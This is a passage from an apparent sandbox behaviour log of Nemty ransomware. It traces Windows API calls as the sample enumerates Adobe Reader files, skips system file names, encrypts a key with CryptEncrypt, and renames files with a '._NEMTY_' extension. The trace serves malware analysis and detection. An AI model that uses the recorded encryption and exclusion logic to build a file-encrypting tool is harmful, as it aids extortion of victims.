lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.912] CloseHandle (hObject=0xffffffff) returned 0 [0209.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.912] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h._nemty_kgobjgd_")) returned 0 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.913] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2", cAlternateFileName="KSCPC-~2")) returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2=".") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="..") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="...") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="windows") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="rsa") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="NTDETECT.COM") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="ntldr") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="MSDOS.SYS") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="IO.SYS") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="boot.ini") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="boot.ini") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="ntuser.dat") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="desktop.ini") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="CONFIG.SYS") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="RECYCLER") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="BOOTSECT.BAK") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="bootmgr") returned 1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="programdata") returned -1 [0209.913] lstrcmpiW (lpString1="KSCpc-EUC-UCS2", lpString2="appdata") returned 1 [0209.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.914] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 14 [0209.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.914] Sleep (dwMilliseconds=0x5) [0209.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30c38ab0, dwHighDateTime=0x1d561e8)) [0209.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30c38ab0, dwHighDateTime=0x1d561e8)) [0209.927] GetLastError () returned 0x5 [0209.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.927] GetLastError () returned 0x5 [0209.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.927] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0209.927] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="bngro18jo/Tb+gUXg/c9n64sj4jUo6SKuxrBC61ELBC7VRF5ju0L77Ex0LJu5vLO\r\nVVD0uqERsnQokclVU9CA2a91RLYDIoze21osWL08hL1tKY/SlXJwBtkHx6723vqU\r\ntH1DW6ynUXhwzLkRgrXc30Z13z8AUC1RAfNkwNP6A7ZlAdqWlB3ZRd0+nSonsUb9\r\npi+1xL66Wylx9ZrRBPe9/5fAp6n0sdZO+ng0oHq9EsRp6h/0ugQF3zVCSEfYumdL\r\nuE5wDnJ948LNxZaoTHGTWBkihJUODxqY7GX26muxPmNEI7z3EG7I9ziwc5p/OJgr\r\nyo/73mz+a3+eIUDV9+lQnA==\r\n", pcchString=0x653e91c) returned 1 [0209.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0209.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0209.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.928] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.038] CloseHandle (hObject=0xffffffff) returned 0 [0210.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.038] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2._nemty_kgobjgd_")) returned 0 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.039] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, 